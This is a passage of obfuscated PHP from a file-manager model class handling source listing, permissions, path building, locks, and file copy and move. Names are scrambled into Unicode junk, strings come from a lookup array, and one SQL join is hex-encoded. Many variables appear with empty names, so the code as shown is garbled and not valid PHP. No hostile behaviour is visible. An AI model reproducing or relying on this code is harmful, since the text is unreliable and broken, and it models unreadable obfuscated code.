$ϋ̋ = Model($[475])->field($ؤ)->where($)->select(); $ϋ̋ = array_to_keyvalue($ϋ̋, $[472]); $ѫ = Model($[476])->field($[477])->where($)->select(); $ѫ = $ѫ ? $ѫ : array(); $ = array(); foreach ($ѫ as $) { if (!isset($[$[$[472]]])) { $[$[$[472]]] = array(); } $[$[$[472]]][$[$[105]]] = $[$[382]]; } foreach ($ޣ as &$) { $┳ = $[$[472]]; if (!$┳ || !is_array($ϋ̋[$┳])) { continue; } $ = $ϋ̋[$┳]; $[$[90]] = $[$[90]]; $[$[32]] = $[$[32]]; if (!isset(self::$cacheFileInfo[$[478] . $┳])) { self::$cacheFileInfo[$[478] . $┳] = array_merge(array(), $); } unset($ϋ̋[$┳][$[88]]); $ր = is_array($[$┳]) ? $[$┳] : array(); $[$[177]] = array_merge($ր, $ϋ̋[$┳]); if (isset($[$[177]][$[176]])) { $[$[176]] = json_decode($[$[177]][$[176]], !0); unset($[$[177]][$[176]]); } } unset($); } protected function _listAppendSourceInfo(&$❴, $ܞ) { $ =& $_SERVER[Ȣ]; if (!defined($[479])) { return; } $펐 = Model($[480])->listData(); $¥ = Model($[431])->listData(); $Թ = Model($[421])->listData(); $ = Model($[481])->listSimple(); $֠ = array_to_keyvalue($펐, $[405]); $ = array_to_keyvalue_group($¥, $[88], $[432]); $ = array_to_keyvalue($Թ, $[88]); $Ӳ = array_to_keyvalue_group($, $[408]); foreach ($❴ as &$ɓ) { $ɓ[$[97]] = array($[482] => 0, $[483] => 0, $[484] => 0); if (isset($[$ɓ[$[408]]])) { $ɓ[$[97]][$[485]] = 1; $ɓ[$[97]][$[486]] = $[$ɓ[$[408]]][$[32]]; } if (isset($[$ɓ[$[408]]])) { $ɓ[$[97]][$[487]] = array(); foreach ($[$ɓ[$[408]]] as $ʫ) { $ = $֠[$ʫ]; $ɓ[$[97]][$[487]][] = array($[488] => $[$[405]], $[426] => $[$[32]], $[489] => $[$[490]]); } } if (isset($Ӳ[$ɓ[$[408]]])) { $ɓ[$[97]][$[491]] = array(); foreach ($Ӳ[$ɓ[$[408]]] as $˔) { $ɓ[$[97]][$[491]] = array($[492] => $˔[$[493]], $[494] => $˔[$[495]], $[496] => $˔[$[408]], $[497] => $˔[$[498]], $[499] => $˔[$[500]], $[501] => $˔[$[501]], $[502] => $˔[$[502]]); } } } unset($ɓ); return $❴; } protected function _listAppendChildren(&$ɑ淇, $) { $盧 =& $_SERVER[Ȣ]; $ֻի = array(); $ = array($盧[216] => 0, $盧[217] => 0); foreach ($ɑ淇 as &$ׯ) { if (!$ׯ[$盧[416]]) { continue; } $ֻի[] = $ׯ[$盧[408]]; } unset($ׯ); if (!$ֻի) { return; } $촆 = array($盧[503] => array($盧[7], $ֻի)); $Ύ = array($盧[503], $盧[416], $盧[504] => $盧[505]); $ = $this->field($Ύ)->where($촆)->group($盧[506])->select(); $ = array(); foreach ($ as $ӀƎ) { $ = $ӀƎ[$盧[503]]; $ = $ӀƎ[$盧[416]] == $盧[99] ? $盧[217] : $盧[216]; if (!isset($[$])) { $[$] = array($盧[216] => 0, $盧[217] => 0); } $[$][$] += $ӀƎ[$盧[505]]; } foreach ($ɑ淇 as &$ׯ) { if (!$ׯ[$盧[416]]) { continue; } $끰 = is_array($[$ׯ[$盧[408]]]) ? $[$ׯ[$盧[408]]] : $; $ׯ[$盧[217]] = $끰[$盧[217]]; $ׯ[$盧[216]] = $끰[$盧[216]]; unset($ׯ[$盧[418]]); } unset($ׯ); } protected function _listAppendAuth(&$) { $ =& $_SERVER[Ȣ]; if (!defined($[479])) { return; } $Ƣڀ = array(); foreach ($ as $) { if ($[$[417]] == self::TYPE_GROUP) { $Ƣڀ[] = $[$[408]]; } } if (!$Ƣڀ) { return; } $ = array_to_keyvalue($, $[408]); $э = Model($[507])->getSourceList($Ƣڀ, $); $ԥ = $GLOBALS[$[508]] == 1; foreach ($ as $棇 => &$) { $[$[419]] = $э[$[$[408]]]; if (!$[$[419]] && $[$[417]] == self::TYPE_GROUP) { $[$[419]] = Action($[509])->pathGroupAuthMake($[$[510]]); if (!$[$[419]] && !$ԥ) { $[$[209]] = !1; $[$[208]] = !1; } } if ($[$[419]]) { $[$[209]] = AuthModel::authCheckEdit($[$[419]][$[420]]); $[$[208]] = AuthModel::authCheckView($[$[419]][$[420]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ܼ =& $_SERVER[Ȣ]; if (Model($ܼ[438])->get($ܼ[511]) != $ܼ[99]) { return; } static $ۡ = false; if (!$ۡ) { $ډ = Model($ܼ[512]); $֖ = Model($ܼ[513]); $ۡ = $֖->listData(); $ۡ = array_to_keyvalue($ۡ, $ܼ[408]); $ = json_decode(Model($ܼ[438])->get($ܼ[514]), !0); $ = array_to_keyvalue($, $ܼ[405]); foreach ($ۡ as $ȑ => $) { $ҕ = $[$[$ܼ[515]]]; if (!$ҕ) { $֖->remove($[$ܼ[405]]); unset($ۡ[$ȑ]); continue; } $ = $ډ->listData($ҕ[$ܼ[419]]); if (!$) { $֖->remove($[$ܼ[405]]); unset($ۡ[$ȑ]); continue; } $[$ܼ[419]] = $; $[$ܼ[516]] = $ҕ; $[$ܼ[517]] = Model($ܼ[518])->getInfoSimpleOuter($[$ܼ[457]]); $ۡ[$ȑ] = $; } } $ = defined($ܼ[519]) ? USER_ID : $ܼ[12]; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $ȑ => &$) { if (!is_array($[$ܼ[419]])) { continue; } if ($[$ܼ[417]] != $ܼ[520]) { continue; } if (isset($ۡ[$[$ܼ[408]]])) { $䨁 = $ۡ[$[$ܼ[408]]]; if (!is_array($[$ܼ[470]])) { $[$ܼ[470]] = array(); } $[$ܼ[470]][$ܼ[521]] = $䨁[$ܼ[515]]; $[$ܼ[419]][$ܼ[522]] = $䨁; $[$ܼ[419]][$ܼ[523]] = $[$ܼ[524]]; $[$ܼ[419]][$ܼ[525]] = $ܼ[99]; if ($䨁[$ܼ[457]] != $) { $[$ܼ[419]][$ܼ[420]] = $[$ܼ[419]][$ܼ[420]] & $䨁[$ܼ[419]][$ܼ[419]]; } continue; } $ = $this->parentLevelArray($[$ܼ[526]]); $⡖ = array_reverse($); foreach ($⡖ as $ɫ => $) { if (!isset($ۡ[$])) { continue; } $䨁 = $ۡ[$]; $[$ܼ[419]][$ܼ[522]] = $䨁; if ($䨁[$ܼ[457]] != $) { $[$ܼ[419]][$ܼ[420]] = $[$ܼ[419]][$ܼ[420]] & $䨁[$ܼ[419]][$ܼ[419]]; } $֔ = $ܼ[12]; $ = count($) - $ɫ; for ($רη = 0; $רη < $; $רη++) { if (!isset($[$[$רη]])) { $֔ = $ܼ[12]; break; } $֔ = $֔ . rtrim($[$[$רη]], $ܼ[8]) . $ܼ[8]; } $[$ܼ[419]][$ܼ[523]] = rtrim($֔, $ܼ[8]) . $ܼ[8]; break; } } unset($); } public function groupPathDisplay(&$؉) { $֛ =& $_SERVER[Ȣ]; if ($؉[$֛[417]] != self::TYPE_GROUP) { return; } $ = Model($֛[527])->getInfo($؉[$֛[510]]); $ = $this->parentLevelArray($[$֛[526]]); $ӫ = $֛[12]; foreach ($ as $) { $ = Model($֛[527])->getInfo($); $ӫ .= $[$֛[97]][$֛[408]] . $֛[50]; } $؉[$֛[528]] = $[$֛[503]]; $؉[$֛[529]] = $[$֛[526]]; $؉[$֛[530]] = $[$֛[531]]; $؉[$֛[532]] = $ӫ . $[$֛[97]][$֛[408]]; } protected function _listAppendPath(&$͕, $ُ = false) { $̡ =& $_SERVER[Ȣ]; static $ = array(); $ӓ = array(); $߽ = array(); if ($ُ) { return $; } foreach ($͕ as &$) { $ռ = $[$̡[408]]; if ($[$̡[416]] == $̡[99] && $[$̡[503]] != 0) { $[$ռ] = $[$̡[32]]; } if ($[$̡[416]] == $̡[99] && $[$̡[503]] == 0 && !isset($[$ռ])) { $[$ռ] = $this->_listAppendPathRoot($, array()); } if (isset($߽[$[$̡[526]]])) { continue; } $߽[$[$̡[526]]] = !0; $њ = $this->parentLevelArray($[$̡[526]]); foreach ($њ as $ => $߇) { if (isset($[$߇])) { continue; } if ($ == 0) { $[$߇] = $this->_listAppendPathRoot($, $њ); } if ($ != 0) { $ӓ[] = $߇; } } } unset($); $ӓ = array_unique($ӓ); if (count($ӓ) > 0) { $ = array($̡[423] => array($̡[424], $ӓ)); if (count($ӓ) == 1) { $铥 = $this->sourceInfo($ӓ[0]); $ = is_array($铥) ? array($铥) : !1; } else { $ = $this->field($̡[533])->where($)->select(); } if (!$) { $ = array(); } foreach ($ as $Ƚ) { $[$Ƚ[$̡[408]]] = $Ƚ[$̡[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $饘 = array(); foreach ($͕ as &$) { $錒 = $[$̡[526]]; $ = $̡[12]; if (isset($饘[$錒])) { $ = $饘[$錒]; } else { $њ = $this->parentLevelArray($[$̡[526]]); foreach ($њ as $ => $߇) { if (isset($[$߇])) { $ .= $[$߇] . $̡[8]; } } $饘[$錒] = $; } $ .= $[$̡[32]]; if ($[$̡[416]] == $̡[99]) { $ .= $̡[8]; } $[$̡[524]] = str_replace($̡[534], $̡[8], $); if ($[$̡[503]] == $̡[204]) { $[$̡[32]] = trim($[$[$̡[408]]], $̡[8]); $[$̡[524]] = $[$̡[32]] . $̡[8]; } if (intval($[$̡[417]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $њ, $); } } unset($); return $͕; } private function _listAppendPathRecycle(&$㺉, $, $) { $ =& $_SERVER[Ȣ]; if (!in_array($, $) && $㺉[$[408]] != $) { return; } $녺˝ = explode($[8], trim($㺉[$[524]], $[8])); $ހ = implode($[8], array_slice($녺˝, 2)); $㺉[$[524]] = $[8] . LNG($[535]) . $[8] . ltrim($ހ, $[8]); $㺉[$[526]] = $[536] . implode($[50], array_slice($, 1)) . $[50]; if ($㺉[$[408]] == $) { $㺉[$[526]] = $[536]; $㺉[$[503]] = $[204]; $㺉[$[32]] = LNG($[535]); } $㺉[$[537]] = $[538]; } protected function _listAppendPathRoot(&$, $) { $ƻ =& $_SERVER[Ȣ]; $㯨 = $ƻ[12]; if ($[$ƻ[417]] == self::TYPE_USER) { if (defined($ƻ[479]) && $[$ƻ[510]] == USER_ID) { $㯨 = LNG($ƻ[539]); if (!$) { $[$ƻ[32]] = $㯨; } } else { $Бڦ = Model($ƻ[518])->getInfoSimple($[$ƻ[510]]); $㯨 = LNG($ƻ[540]) . $ƻ[173] . $Бڦ[$ƻ[32]] . $ƻ[541]; $[$ƻ[542]] = array($ƻ[32] => $Бڦ[$ƻ[32]], $ƻ[543] => $Бڦ[$ƻ[543]], $ƻ[544] => $Бڦ[$ƻ[544]]); } } else { if ($[$ƻ[417]] == self::TYPE_GROUP) { $Бڦ = Model($ƻ[527])->getInfoSimple($[$ƻ[510]]); $㯨 = $Бڦ[$ƻ[32]]; } else { if ($[$ƻ[417]] == self::TYPE_SYSTEM) { $㯨 = $ƻ[545]; } } } $㯨 = $㯨 ? $ƻ[8] . $㯨 . $ƻ[8] : $ƻ[8]; return $㯨; } protected function _listAppendUser(&$灮ގ) { $ =& $_SERVER[Ȣ]; $ϸ = array_to_keyvalue($灮ގ, $[12], $[457]); $Ō = array_to_keyvalue($灮ގ, $[12], $[459]); $ = array_merge($ϸ, $Ō); $Ϟ = Model($[546])->userListInfo($); foreach ($灮ގ as &$) { $ʲԖ = $[$[457]]; $[$[457]] = $Ϟ[$ʲԖ] ? $Ϟ[$ʲԖ] : !1; $ʲԖ = $[$[459]]; $[$[459]] = $Ϟ[$ʲԖ] ? $Ϟ[$ʲԖ] : !1; if (isset($[$[470]]) && $[$[470]][$[547]]) { $ = $GLOBALS[$[6]][$[100]][$[548]]; if ($[$[470]][$[549]] <= time() - $) { $this->metaSet($[$[408]], $[547], null); $this->metaSet($[$[408]], $[549], null); unset($[$[470]][$[547]]); continue; } $Ӷ팍 = $[$[470]][$[547]]; $[$[470]][$[550]] = Model($[546])->getInfoSimpleOuter($Ӷ팍); } } unset($); } public function parentLevelArray($Ĥ) { $ց =& $_SERVER[Ȣ]; $Ĥ = explode($ց[50], trim($Ĥ, $ց[50])); return array_remove_value($Ĥ, $ց[204]); } public function listAll($) { $ =& $_SERVER[Ȣ]; $ = $this->sourceInfo($); $֘ = array($[551] => array($[552], $[$[526]] . $ . $[553]), $[554] => 0); $߈ = $[555]; $ۤ = "\x4c\x45\x46\124\40\112\x4f\111\x4e\40{$this->tablePrefix}\151\x6f\x5f\146\x69\x6c\x65\40\x66\x69\154\145\40\x6f\156\x20\x73\157\165\162\x63\145\x2e\x66\x69\x6c\145\111\x44\x20\75\x20\x66\151\154\145\x2e\146\151\x6c\145\111\104"; $Ȗԃ = $this->alias($[449])->field($߈)->where($֘)->join($ۤ)->select(); $this->_listAppendAuth($Ȗԃ); $this->_listAppendUser($Ȗԃ); $this->_listAppendPath($Ȗԃ); $Ȗԃ = array_to_keyvalue($Ȗԃ, $[408]); $ = "\x2f{$[$[32]]}\57"; $ = $ == $[534] ? $[8] : $; $ = array(); foreach ($Ȗԃ as $؎ => $緩) { $ = $this->parentLevelArray($緩[$[526]]); array_shift($); $ = $; for ($ƪ = 0; $ƪ < count($); $ƪ++) { $ .= $Ȗԃ[$[$ƪ]][$[32]] . $[8]; } $ .= $緩[$[32]]; if ($緩[$[416]]) { $ .= $[8]; } $ = str_replace($[534], $[8], $); $ = str_replace($[534], $[8], $); $Ƒ = array($[427] => str_replace($[534], $[8], $), $[556] => intval($緩[$[416]]), $[97] => $this->pathInfoFilter($緩)); if (!$緩[$[416]]) { $Ƒ[$[472]] = $緩[$[472]]; $Ƒ[$[98]] = $緩[$[88]]; } $[] = $Ƒ; } return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($հ) { $ =& $_SERVER[Ȣ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[557], $հ); $ = 1; $this->_lockEvent($հ, array($[558], $[559]), $); $this->_lockParent($հ, array($[559]), $); $this->_lockEvent($հ, array($[560], $[561]), $); $this->_lockCheckEnd($[557], $հ); } public function lockCopyEnd($) { $ =& $_SERVER[Ȣ]; if (!$this->allowLock()) { return; } $擆 = 0; $this->_lockEvent($, array($[558], $[559]), $擆); $this->_lockParent($, array($[559]), $擆); $this->_lockEvent($, array($[560], $[561]), $擆); } public function lockWriteStart($, $Ձ = '') { $ =& $_SERVER[Ȣ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[558], $); $ = 1; $this->_lockKey($[562] . $ . $[10] . $Ձ, $); $this->_lockEvent($, array($[557], $[559]), $); $this->_lockParent($, array($[557], $[559]), $); $this->_lockCheckEnd($[558], $); } public function lockWriteEnd($, $ۍқ = '') { $ =& $_SERVER[Ȣ]; if (!$this->allowLock()) { return; } $圚 = 0; $this->_lockKey($[562] . $ . $[10] . $ۍқ, $圚); $this->_lockEvent($, array($[557], $[559]), $圚); $this->_lockParent($, array($[557], $[559]), $圚); } public function lockMoveStart($ת) { $倔 =& $_SERVER[Ȣ]; if (!$this->allowLock()) { return; } $this->_lockCheck($倔[559], $ת); $ֻ = 1; $this->_lockKey($倔[563] . $ת, $ֻ); $this->_lockEvent($ת, array($倔[557], $倔[558]), $ֻ); $this->_lockParent($ת, array($倔[557], $倔[559]), $ֻ); $this->_lockEvent($ת, array($倔[564], $倔[560], $倔[561]), $ֻ); $this->_lockCheckEnd($倔[559], $ת); } public function lockMoveEnd($ˑ) { $Ơ =& $_SERVER[Ȣ]; if (!$this->allowLock()) { return; } $Ⲧ = 0; $this->_lockKey($Ơ[563] . $ˑ, $Ⲧ); $this->_lockEvent($ˑ, array($Ơ[557], $Ơ[558]), $Ⲧ); $this->_lockParent($ˑ, array($Ơ[557], $Ơ[559]), $Ⲧ); $this->_lockEvent($ˑ, array($Ơ[564], $Ơ[560], $Ơ[561]), $Ⲧ); } private function _lockCheck($, $ۅ) { $¨ =& $_SERVER[Ȣ]; $ = $this->sourceInfo($ۅ); $Ɣ = $ . $¨[10] . $ۅ; $this->_lockTimeStart[$Ɣ] = timeFloat(); if (!is_array($)) { return; } $ޘ = LNG($¨[565]); CacheLock::setErrorMsg($¨[173] . htmlspecialchars($[$¨[32]]) . $¨[541] . $ޘ); $this->_lockKey($Ɣ, 1); $this->_lockKey($Ɣ, 0); $ź˽ = array_reverse($this->parentLevelArray($[$¨[526]])); foreach ($ź˽ as $) { $Ɣ = $ . $¨[566] . $; if (CacheLock::lockGet($¨[567] . $Ɣ)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($¨[173] . htmlspecialchars($[$¨[32]]) . $¨[541] . $ޘ); $this->_lockKey($Ɣ, 1); $this->_lockKey($Ɣ, 0); } } } private function _lockCheckEnd($˘, $) { $ǡ =& $_SERVER[Ȣ]; $ = $˘ . $ǡ[10] . $; CacheLock::setErrorMsg($ǡ[386]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$ǡ[463] . $]); } $蝩 = $this->sourceInfo($); if (!$蝩) { show_json(LNG($ǡ[116]), !1); } } private function _lockParent($ߞ, $ආ, $ψ) { if (!$this->autoLockSet) { return; } $ͩ = $this->sourceInfo($ߞ); if (!is_array($ͩ)) { return; } $˃̬ = array_reverse($this->parentLevelArray($ͩ[$_SERVER[Ȣ][526]])); foreach ($˃̬ as $٢) { $this->_lockEvent($٢, $ආ, $ψ); } } private function _lockEvent($, $˘, $) { $ =& $_SERVER[Ȣ]; if (!$this->autoLockSet) { return; } foreach ($˘ as $똱) { $Л = $똱 . $[10] . $; if ($ && CacheLock::lockGet($[567] . $Л)) { continue; } $this->_lockKey($Л, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ʺ = 1) { $Ԙ = $_SERVER[Ȣ][567] . md5($); if ($ʺ) { if (isset(self::$_lockItemArr[$Ԙ])) { return; } self::$_lockItemArr[$Ԙ] = 1; CacheLock::lock($Ԙ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$Ԙ])) { return; } unset(self::$_lockItemArr[$Ԙ]); CacheLock::unlock($Ԙ); } } public function isParentOf($, $Ү) { $é =& $_SERVER[Ȣ]; $ = $this->sourceInfo($); $ = $this->sourceInfo($Ү); $ߜ = $[$é[526]] . $[$é[408]] . $é[50]; $ = $[$é[526]] . $[$é[408]] . $é[50]; $ۆ = strpos($, $ߜ) === 0; return $ۆ; } private $targetIsDelete = 0; public function copy($˄, $ʄ, $ = REPEAT_REPLACE, $ = '') { $Ư =& $_SERVER[Ȣ]; $̻ = $this->sourceInfo($˄); $ކ = $this->sourceInfo($ʄ); if (!$̻ || !$ކ || $ކ[$Ư[416]] != $Ư[99]) { return !1; } if ($this->isParentOf($˄, $ʄ)) { return !1; } $ = $ ? $ : $̻[$Ư[32]]; $this->lockCopyStart($˄); $this->lockWriteStart($ʄ, $); $ݬ = array($Ư[568] => array(), $Ư[569] => array(), $Ư[570] => array()); $this->targetIsDelete = intval($̻[$Ư[436]]); $ԁ = $this->fileNameExistCache($ʄ, $̻[$Ư[32]]); $ꢺ = $this->_copy($˄, $ʄ, $, $ݬ, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($˄); $this->lockWriteEnd($ʄ, $); if ($̻[$Ư[416]] == $Ư[99] && $ԁ == $ꢺ) { $this->folderSizeResetChildren($ԁ); } Model($Ư[571])->addAll($ݬ[$Ư[569]], array(), !0); if ($ԁ != $ꢺ || $̻[$Ư[416]] == $Ư[99]) { Model($Ư[572])->eventCopy($ꢺ); } $this->saveAll($ݬ[$Ư[570]]); Model($Ư[206])->linkAdd($ݬ[$Ư[568]]); $this->folderSizeReset($ʄ); $this->updateModifyTime($ʄ); return $ꢺ; } private function _copy($Ӱ, $Ƽ, $Ϭ, &$, $, $ = '') { $ =& $_SERVER[Ȣ]; $ = $this->sourceInfoCache($Ӱ); $ = $[$[416]] == $[99]; $ָș = $ ? $ : $[$[32]]; $ = $this->fileNameExistCache($Ƽ, $ָș); if ($) { $this->_childrenAllMake($Ӱ); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($Ӱ, $Ƽ, $ָș, $); } $ = $; if ($) { if ($Ϭ == REPEAT_RENAME_FOLDER) { $ָș = $this->fileNameAutoCache($Ƽ, $ָș, $Ϭ, $); $ = $this->_copyCreate($Ӱ, $Ƽ, $ָș, $); } else { $ = $this->_childrenList($Ӱ); foreach ($ as $) { $this->_copy($[$[408]], $, $Ϭ, $, !1); } } } else { if ($Ϭ == REPEAT_RENAME || $Ϭ == REPEAT_RENAME_FOLDER) { $ָș = $this->fileNameAutoCache($Ƽ, $ָș, $Ϭ, $); $ = $this->_copyCreate($Ӱ, $Ƽ, $ָș, $); } else { if ($Ϭ == REPEAT_REPLACE) { $ڋ = $this->sourceInfoCache($); $Ժ = $this->fileHistory($ڋ, $[$[472]], $[$[90]]); if ($Ժ) { $[$[568]][] = $[$[472]]; } } else { if ($Ϭ == REPEAT_SKIP) { } } } Hook::trigger($[573], array($[574], $, 0)); } return $; } private function _copyCreate($洝, $, $簙, &$) { $ =& $_SERVER[Ȣ]; $倚 = $this->sourceInfoCache($洝); $ = $this->sourceInfoCache($); $į = $this->_makeItemData($倚, $, $簙); Hook::trigger($[575], $į); Hook::trigger($[576], array($[577], $į, 0)); $ϵ = $this->add($į); $߭ = array($[408] => $ϵ, $[32] => $簙); $this->_copyApplyMeta($߭, $); if ($倚[$[416]] != $[99]) { $[$[568]][] = $倚[$[472]]; return $ϵ; } $͔ = array(); $ = array(); $this->_childrenListAll($洝, $͔); $ϓĮ = count($͔); if ($ϓĮ == 0) { return $ϵ; } $ = $this->sourceInfo($ϵ); foreach ($͔ as $) { $߇ = $this->_makeItemData($, $, $[$[32]]); $߇[$[526]] = $[$[526]]; $[] = $߇; } $this->chunkEventSet($[578], array($[579], $į, $ϓĮ)); $this->addAll($, array(), !1); $ = $this->where(array($[503] => $ϵ))->select(); $Š = $this->_childrenMakeRelation($͔, $); $Š[$洝] = $ϵ; $ = array(); $ = array(); foreach ($ as $) { $ݢ = $[$[408]]; $ȹđ = $this->_childrenMatch($Š, $, $); $[] = array($[408], $ݢ, $[503], $ȹđ[$[503]]); $[] = array($[408], $ݢ, $[526], $ȹđ[$[526]]); $this->_copyApplyMeta($, $); if ($[$[416]] != $[99]) { $[$[568]][] = $[$[472]]; } } $this->chunkEventSet($[580], array($[581], $į, $ϓĮ)); $this->saveAll($); $this->chunkEventSet($[582], array($[583], $į, $ϓĮ)); $this->saveAll($); return $ϵ; } private function _childrenMakeRelation($, $涱) { $ =& $_SERVER[Ȣ]; $ζ = array(); $ = array(); foreach ($ as $) { $̃ = $[$[32]] . $[8] . $[$[526]]; $ζ[$̃] = $[$[408]]; } foreach ($涱 as $) { $̃ = $[$[32]] . $[8] . $[$[526]]; $аѱ = $ζ[$̃]; $[$аѱ] = $[$[408]]; } return $; } private function _childrenMatch($ܸӞ, $΅, $) { $ =& $_SERVER[Ȣ]; $ψ = $[$[526]]; $ = $this->parentLevelArray($΅[$[526]]); foreach ($ as $ۍ) { if (isset($ܸӞ[$ۍ])) { $ψ .= $ܸӞ[$ۍ] . $[584]; } } $ψ = rtrim($ψ, $[50]) . $[50]; $¿ = $this->parentLevelArray($ψ); $ = $¿[count($¿) - 1]; return array($[503] => $, $[526] => $ψ); } private function _makeItemData($, $Ύ, $퐟) { $ =& $_SERVER[Ȣ]; $Հ = array($Â[585] => $[$Â[416]], $Â[426] => $퐟, $Â[586] => $[$Â[418]] ? $[$Â[418]] : $Â[12], $Â[473] => $[$Â[472]] ? $[$Â[472]] : 0, $Â[587] => $[$Â[90]] ? $[$Â[90]] : 0, $Â[588] => intval($Ύ[$Â[417]]), $Â[589] => intval($Ύ[$Â[510]]), $Â[590] => intval(USER_ID), $Â[591] => intval(USER_ID), $Â[407] => intval($Ύ[$Â[408]]), $Â[592] => $Ύ[$Â[526]] . $Ύ[$Â[408]] . $Â[50], $Â[430] => $[$Â[96]] ? $[$Â[96]] : time(), $Â[435] => 0, $Â[593] => $Â[12]); return $Հ; } private function _copyApplyMeta($, &$) { $Ȉ =& $_SERVER[Ȣ]; $ޔ = $[$Ȉ[408]]; $ = $[$Ȉ[32]]; if (!isset($[$Ȉ[594]]) || !$[$Ȉ[594]] || $[$Ȉ[594]] == $Ȉ[204]) { $[$Ȉ[570]][] = array($Ȉ[408], $ޔ, $Ȉ[594], short_id($ޔ)); } if (Input::check($, $Ȉ[595])) { $[$Ȉ[569]][] = array($Ȉ[408] => $ޔ, $Ȉ[105] => $Ȉ[469], $Ȉ[382] => str_replace($Ȉ[53], $Ȉ[12], Pinyin::get($))); $[$Ȉ[569]][] = array($Ȉ[408] => $ޔ, $Ȉ[105] => $Ȉ[468], $Ȉ[382] => Pinyin::get($, $Ȉ[596])); } $[$Ȉ[569]][] = array($Ȉ[408] => $ޔ, $Ȉ[105] => $Ȉ[447], $Ȉ[382] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $緱 =& $_SERVER[Ȣ]; $ό = $this->sourceInfo($); $Ц = $緱[597]; $䱅 = array($緱[526] => array($緱[552], $ό[$緱[526]] . $ . $緱[553]), $緱[436] => $this->targetIsDelete); $ػۋ = $this->field($Ц)->where($䱅)->select(); if (!$ػۋ) { return; } $ػۋ = array_to_keyvalue($ػۋ, $緱[408]); foreach ($ػۋ as $̂) { $븬ҙ = $̂[$緱[503]]; $ = $̂[$緱[408]]; if (!isset($this->_childrenListCache[$]) && $̂[$緱[416]] == $緱[99]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$븬ҙ])) { $this->_childrenListCache[$븬ҙ] = array(); } $this->_childrenListCache[$븬ҙ][$] = $̂; $this->_childrenItemCache[$] = $̂; } } private function _childrenListAll($, &$ʿ) { $̅ =& $_SERVER[Ȣ]; if (!isset($this->_childrenListCache[$])) { return; } $̋ = $this->_childrenListCache[$]; foreach ($̋ as $ => $Ҹ) { $ʿ[$] = $Ҹ; if ($Ҹ[$̅[416]] == $̅[99]) { $this->_childrenListAll($, $ʿ); } } } private function sourceInfoCache($ȱ) { if (isset($this->_childrenItemCache[$ȱ])) { return $this->_childrenItemCache[$ȱ]; } return $this->sourceInfo($ȱ); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($ἣ) { $ܷ =& $_SERVER[Ȣ]; $ = array($ܷ[503] => $ἣ, $ܷ[436] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $ܷ[408]); $this->_childrenListCache[$ἣ] = $; foreach ($ as $ἣ => $) { $this->_childrenItemCache[$ἣ] = $; } return $; } private function fileNameExistCache($Ԁ, $) { $ =& $_SERVER[Ȣ]; $ = strtolower($); $ѯ = $this->_childrenList($Ԁ); foreach ($ѯ as $Đ) { if ($ == strtolower($Đ[$[32]])) { return $Đ[$[408]]; } } return !1; } private function fileNameAutoCache($Ȁ, $, $, $̲) { $ƼÁ =& $_SERVER[Ȣ]; $ = $this->_childrenList($Ȁ); $܇ = array_to_keyvalue($, $ƼÁ[12], $ƼÁ[32]); return $this->fileNameAutoGet($܇, $, $, $̲); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($یҢ, $Ϯ, $ = REPEAT_REPLACE, $Đ = '') { $烌 =& $_SERVER[Ȣ]; $Ȇ = $this->sourceInfo($یҢ); $՜ = $this->sourceInfo($Ϯ); if ($Ȇ[$烌[503]] == $՜[$烌[408]]) { if ($Ȇ[$烌[436]] == $烌[99]) { Model($烌[434])->restore(array($یҢ)); } if (!$Đ || $Đ == $Ȇ[$烌[32]]) { return $یҢ; } } $ѩ = $this->pathInfoMore($یҢ); if ($this->isParentOf($یҢ, $Ϯ)) { return !1; } if (!$Ȇ || !$՜ || $՜[$烌[416]] != $烌[99]) { return !1; } Hook::trigger($烌[598], $ѩ); $this->targetIsDelete = intval($Ȇ[$烌[436]]); if ($Ȇ[$烌[503]] == $Ϯ && $Đ != $Ȇ[$烌[32]]) { $ = $this->fileNameExist($Ϯ, $Đ); if ($ && $Ȇ[$烌[416]] == $烌[204]) { $̜ = $this->sourceInfo($); $Şњ = $this->fileHistory($̜, $Ȇ[$烌[472]], $Ȇ[$烌[90]]); if (!$Şњ) { Model($烌[475])->remove($Ȇ[$烌[472]]); } $this->removeNow($یҢ, !1); $this->folderSizeReset($Ϯ); Hook::trigger($烌[599], $ѩ); return $; } } $ = $Đ ? $Đ : $Ȇ[$烌[32]]; $this->lockMoveStart($یҢ); $this->lockWriteStart($Ϯ, $); $υ = array($烌[568] => array(), $烌[600] => !1); $this->clearShare($یҢ, $Ϯ); $Ǹ = $this->fileNameExistCache($Ϯ, $Ȇ[$烌[32]]); $ = $this->_move($یҢ, $Ϯ, $, $υ, $Đ); $this->sourceCacheClear(); if ($Ȇ[$烌[416]] == $烌[99] && $Ǹ) { $this->folderSizeResetChildren($); } Model($烌[206])->linkAdd($υ[$烌[568]]); if ($Ǹ && $υ[$烌[600]]) { $this->removeNow($یҢ, !1); } $this->lockMoveEnd($یҢ); $this->lockWriteEnd($Ϯ, $); $this->folderSizeReset($Ȇ[$烌[503]]); $this->folderSizeReset($Ϯ); $ = array($Ȇ[$烌[503]], $Ϯ); if ($Ȇ[$烌[416]] == $烌[99]) { $[] = 